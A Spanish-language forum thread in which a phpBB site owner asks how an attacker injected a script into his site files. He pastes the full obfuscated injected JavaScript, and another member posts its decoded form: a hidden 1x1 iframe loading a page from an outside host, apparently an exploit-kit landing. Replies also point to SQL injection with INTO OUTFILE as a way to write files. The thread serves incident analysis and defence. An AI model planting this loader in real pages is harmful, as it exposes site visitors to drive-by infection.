elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Seguridad (Moderador: r32)
| | |-+  Como localizar un bug XSS
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Como localizar un bug XSS  (Leído 4,416 veces)
Inmortia

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Como localizar un bug XSS
« en: 5 Mayo 2013, 04:08 am »

Buenas.

Tengo un foro basado en phpbb (lo cual ya es una llamada a los "hackers") y nunca he tenido graves problemas. Algunos ataques menores que no hacían más que ralentizar un poco el foro hasta que les pillaba la IP y les bloqueaba pero desde hace unos días alguien con más conocimientos que los otros tontos que de vez en cuando han intentado algo, ha conseguido molestarme más.

Ha conseguido colar un script en base64 en todos los html y algún que otro php. Es sencillo ver que estaba automatizado y no ha modificado estos archivos a mano. El script en los html estaba siempre después de un </div> o en caso de no haber div, después del <head>. En cambio en los php siempre estaba al final del archivo.

Pondría el script pero no se hasta que punto estaría permitido. Lo que hace es crear o simular la apariencia de un gif que en realidad es un troyano. No se que cosas haría el troyano porque a tanto no llego.

Mi pregunta es, como se explica un bug para hacer algo así? Me gustaría poder encontrar este fallo e intentar solventarlo para evitar que vuelva a pasar algo así. Esta vez, por suerte, estaba presente cuando inició el ataque así que pude bloquear inmediatamente el acceso al foro y cortarle el ataque. Algunos archivos estaban a "medio atacar". No ha tenido acceso directo al FTP ya que no ha atacado a todo lo que este contenía, solo a la carpeta del dominio a través del cual a atacado. ¿Cómo es posible modificar archivos sin acceder a ellos?

No pretendo que me expliquéis al máximo este tema o que hagáis de profesor conmigo pero si agradecería algún tipo de tutorial o algunos consejos para poder encontrar el bug y arreglarlo. Puedo pasar por algo que colapsen mi foro por intentar joderlo pero no pienso pasar por alto que intenten infectar a mis usuarios.

Espero que podáis ayudarme.

PD: Si esta permitido, podría subir el script en un txt para quien quiera echarle un vistazo. Lo he subido a pastebin con caducidad de 10 minutos pero el antivirus sigue detectándolo como malware aunque técnicamente en pastebin no debería ejecutarse...


En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Como localizar un bug XSS
« Respuesta #1 en: 5 Mayo 2013, 07:55 am »

sanitiza la entrada de variables, convierte todos los "<" y ">" a sus equivalentes en html, depende de la tecnica usada eso deberia ayudar un poco


En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
Inmortia

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Como localizar un bug XSS
« Respuesta #2 en: 5 Mayo 2013, 16:25 pm »

Pero como alguien consigue modificar archivos php, html y js sin acceder directamente al FTP? La fuerza bruta o el robo de contraseña lo descarto completamente ya que para el FTP y la BD uso contraseñas aleatorias.

¿Realmente usando XSS puedes modificar alrededor de 40 archivos? El atacante no esta registrado en la página ya que he buscado su IP en la tabla de usuarios y sesiones así que descarto que haya usado algún bug en la página para postear, avatar, firma y demás secciones de acceso limitado.

Ademas, phpbb3 por defecto tiene el HTML desactivado y, aunque hay mods que lo activan, yo no los he usado y he dejado el HTML desactivado para mayor seguridad.

¿Alguien podría proporcionarme algún código inofensivo para intentar autohackearme y así intentar saber por donde podría haber entrado? Intentaré sanitizar la entrada de variables aunque eso ya debería estar hecho por defecto en phpbb.
En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Como localizar un bug XSS
« Respuesta #3 en: 5 Mayo 2013, 17:40 pm »

buen punto, pero hay algun chance que haya explotado alguna debilidad del sistema que hayas usado para hacer eso, asi que creo que estaria mas allá de un simple xss... realmente el codigo phpbb lo desconozco pero en algun punto debe haber una funcion de ejecutar o algo asi para que haya alterado las paginas, postea aqu´no el archivo completo, sino la parte alterada
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
Inmortia

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Como localizar un bug XSS
« Respuesta #4 en: 5 Mayo 2013, 18:38 pm »

¿Te refieres al script añadido? Aquí lo dejo. Si no es eso, estaré pendiente para retirarlo de aquí si es necesario.

Código
  1. w=window;aq=\"0x\";ff=String;ff=ff.fromCharCode;try{document[\"\x62ody\"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w[\"eval\"];if(1){f=\"17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,68,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,68,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,60,65,5d,66,69,64,58,6d,60,58,65,66,25,60,6b,26,5a,66,64,67,66,65,5c,65,6b,6a,26,6b,69,58,5d,25,67,5f,67,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,67,66,6a,60,6b,60,66,65,17,34,17,1e,58,59,6a,66,63,6c,6b,5c,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,59,66,69,5b,5c,69,17,34,17,1e,27,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,5f,5c,60,5e,5f,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,6e,60,5b,6b,5f,17,34,17,1e,28,67,6f,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,63,5c,5d,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,6b,66,67,17,34,17,1e,28,67,6f,1e,32,4,1,4,1,17,60,5d,17,1f,18,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,68,1e,20,20,17,72,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,6e,69,60,6b,5c,1f,1e,33,5b,60,6d,17,60,5b,34,53,1e,68,53,1e,35,33,26,5b,60,6d,35,1e,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,68,1e,20,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,68,20,32,4,1,17,74,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,4a,5c,6b,3a,66,66,62,60,5c,1f,5a,66,66,62,60,5c,45,58,64,5c,23,5a,66,66,62,60,5c,4d,58,63,6c,5c,23,65,3b,58,70,6a,23,67,58,6b,5f,20,17,72,4,1,17,6d,58,69,17,6b,66,5b,58,70,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,6d,58,69,17,5c,6f,67,60,69,5c,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,60,5d,17,1f,65,3b,58,70,6a,34,34,65,6c,63,63,17,73,73,17,65,3b,58,70,6a,34,34,27,20,17,65,3b,58,70,6a,34,28,32,4,1,17,5c,6f,67,60,69,5c,25,6a,5c,6b,4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c,1f,20,17,22,17,2a,2d,27,27,27,27,27,21,29,2b,21,65,3b,58,70,6a,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,17,34,17,5a,66,66,62,60,5c,45,58,64,5c,22,19,34,19,22,5c,6a,5a,58,67,5c,1f,5a,66,66,62,60,5c,4d,58,63,6c,5c,20,4,1,17,22,17,19,32,5c,6f,67,60,69,5c,6a,34,19,17,22,17,5c,6f,67,60,69,5c,25,6b,66,3e,44,4b,4a,6b,69,60,65,5e,1f,20,17,22,17,1f,1f,67,58,6b,5f,20,17,36,17,19,32,17,67,58,6b,5f,34,19,17,22,17,67,58,6b,5f,17,31,17,19,19,20,32,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,3e,5c,6b,3a,66,66,62,60,5c,1f,17,65,58,64,5c,17,20,17,72,4,1,17,6d,58,69,17,6a,6b,58,69,6b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,65,58,64,5c,17,22,17,19,34,19,17,20,32,4,1,17,6d,58,69,17,63,5c,65,17,34,17,6a,6b,58,69,6b,17,22,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,22,17,28,32,4,1,17,60,5d,17,1f,17,1f,17,18,6a,6b,58,69,6b,17,20,17,1d,1d,4,1,17,1f,17,65,58,64,5c,17,18,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,27,23,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,20,17,20,17,20,4,1,17,72,4,1,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,74,4,1,17,60,5d,17,1f,17,6a,6b,58,69,6b,17,34,34,17,24,28,17,20,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,6d,58,69,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,19,32,19,23,17,63,5c,65,17,20,32,4,1,17,60,5d,17,1f,17,5c,65,5b,17,34,34,17,24,28,17,20,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,63,5c,65,5e,6b,5f,32,4,1,17,69,5c,6b,6c,69,65,17,6c,65,5c,6a,5a,58,67,5c,1f,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,63,5c,65,23,17,5c,65,5b,17,20,17,20,32,4,1,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1\"[\"split\"](\",\");}w=f;s=[];for(i=2-2;-i+1308!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(e(aq+(w[j]))+9);}fafa=e;fafa(s)}

Lo pongo tal cual estaba ya que aunque he limpiado todos los archivos afectados, el script lo he guardado. No se realmente que hace, lo que sí se es que va con aspecto de "blackhole exploit kit" según el antivirus de uno de mis usuarios. En el mío, me decía que había un "gif" infectado (este aviso salió cuando lo puse en pastebin para enseñarselo a un conocido).

Este script estaba en varios luagres. En los HTML estaba SIEMPRE despues de un </div> y si no había div, estaba después del <head>. En los PHP siempre estaba al final de pagina, en un echo y abriendo nuevamente etiquetas <? y ?>. En los js estaba también al final del archivo.

Lo que me da a pensar que realmente la infección estaba automatizada y de ser así, debería lanzarse "ordenes" desde otro lugar o desde mi propia página? Esto último pregunto solo para informarme aunque se que es complicado responder a estas cosas sin ver directamente el ataque o la propia página.
En línea

adastra
Endless Learner
Ex-Staff
*
Desconectado Desconectado

Mensajes: 885


http://thehackerway.com/


Ver Perfil WWW
Re: Como localizar un bug XSS
« Respuesta #5 en: 7 Mayo 2013, 16:23 pm »

 Utiliza ESAPI de OWASP.
https://code.google.com/p/owasp-esapi-php/


Es una librería que se encuentra implementada en varios lenguajes (incluyendo PHP) que te va a servir para cubrir, no solamente ataques XSS, sino también otros ataques de inyección tales como SQL Injection.
En línea

el-brujo
ehn
***
Desconectado Desconectado

Mensajes: 21.637


La libertad no se suplica, se conquista


Ver Perfil WWW
Re: Como localizar un bug XSS
« Respuesta #6 en: 7 Mayo 2013, 19:45 pm »

según sea el bug xss se puede robar la cookie. Para modificar ficheros no es necesario usar ftp, quizás hay algún tipo de rfi o con sql injection también se puede hacer.

El código javascript desofucasdo es:


Código
  1. function zzzfff() {
  2.  
  3.    var clt = document.createElement('iframe');
  4.  
  5.  
  6.  
  7.    clt.src = 'http://www.royaltysteamcleaning.com/cnt.php';
  8.  
  9.    clt.style.position = 'absolute';
  10.  
  11.    clt.style.border = '0';
  12.  
  13.    clt.style.height = '1px';
  14.  
  15.    clt.style.width = '1px';
  16.  
  17.    clt.style.left = '1px';
  18.  
  19.    clt.style.top = '1px';
  20.  
  21.  
  22.  
  23.    if (!document.getElementById('clt')) {
  24.  
  25.        document.write('<div id=\'clt\'></div>');
  26.  
  27.        document.getElementById('clt').appendChild(clt);
  28.  
  29.    }
  30.  
  31. }
  32.  
  33. function SetCookie(cookieName,cookieValue,nDays,path) {
  34.  
  35. var today = new Date();
  36.  
  37. var expire = new Date();
  38.  
  39. if (nDays==null || nDays==0) nDays=1;
  40.  
  41. expire.setTime(today.getTime() + 3600000*24*nDays);
  42.  
  43. document.cookie = cookieName+"="+escape(cookieValue)
  44.  
  45.                 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
  46.  
  47. }
  48.  
  49. function GetCookie( name ) {
  50.  
  51. var start = document.cookie.indexOf( name + "=" );
  52.  
  53. var len = start + name.length + 1;
  54.  
  55. if ( ( !start ) &&
  56.  
  57. ( name != document.cookie.substring( 0, name.length ) ) )
  58.  
  59. {
  60.  
  61. return null;
  62.  
  63. }
  64.  
  65. if ( start == -1 ) return null;
  66.  
  67. var end = document.cookie.indexOf( ";", len );
  68.  
  69. if ( end == -1 ) end = document.cookie.length;
  70.  
  71. return unescape( document.cookie.substring( len, end ) );
  72.  
  73. }
  74.  
  75. if (navigator.cookieEnabled)
  76.  
  77. {
  78.  
  79. if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');
  80.  
  81.  
  82.  
  83. zzzfff();
  84.  
  85. }
  86.  
  87. }

Puedes usar el  javascript beautifer:

http://jsbeautifier.org/?without-codemirror

para limpiar un poco el código y luego usar las funciones document.write o alert para ver el contenido del eval

Código:
document.write(s);
alert(s);
« Última modificación: 7 Mayo 2013, 19:49 pm por el-brujo » En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Como localizar un bug XSS
« Respuesta #7 en: 7 Mayo 2013, 19:52 pm »

disculpa mi ignorancia, pero me da curiosidad ¿cómo por medio de una inyección sql podría un fichero php?
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
#!drvy


Desconectado Desconectado

Mensajes: 5.855



Ver Perfil WWW
Re: Como localizar un bug XSS
« Respuesta #8 en: 7 Mayo 2013, 19:59 pm »

Citar
¿cómo por medio de una inyección sql podría un fichero php?

INTO_OUTFILE
http://yoyahack.blogspot.com.es/2010/10/explicacion-de-into-outfile-en-una.html

Saludos
En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Como localizar un bug XSS
« Respuesta #9 en: 7 Mayo 2013, 20:30 pm »

wow :o no sabia que mysql fuera capaz de alterar archivos! gracias por la info :P ya se que hay que desactivar esas cosas por si a las moscas
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
como puedo localizar un celular por sms
Dispositivos Móviles (PDA's, Smartphones, Tablets)
morbyuz 1 7,792 Último mensaje 10 Noviembre 2010, 20:32 pm
por darkangel2125
COMO LOCALIZAR UNA IP DE UN MOVIL
Redes
franjee 2 17,761 Último mensaje 21 Abril 2012, 16:37 pm
por ThonyMaster
como localizar un ejecutable desaparecido
GNU/Linux
egoyo 5 3,856 Último mensaje 18 Julio 2013, 17:09 pm
por egoyo
MOVIDO: como localizar un ejecutable desaparecido
Dudas Generales
Songoku 0 2,016 Último mensaje 17 Julio 2013, 19:30 pm
por Songoku
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines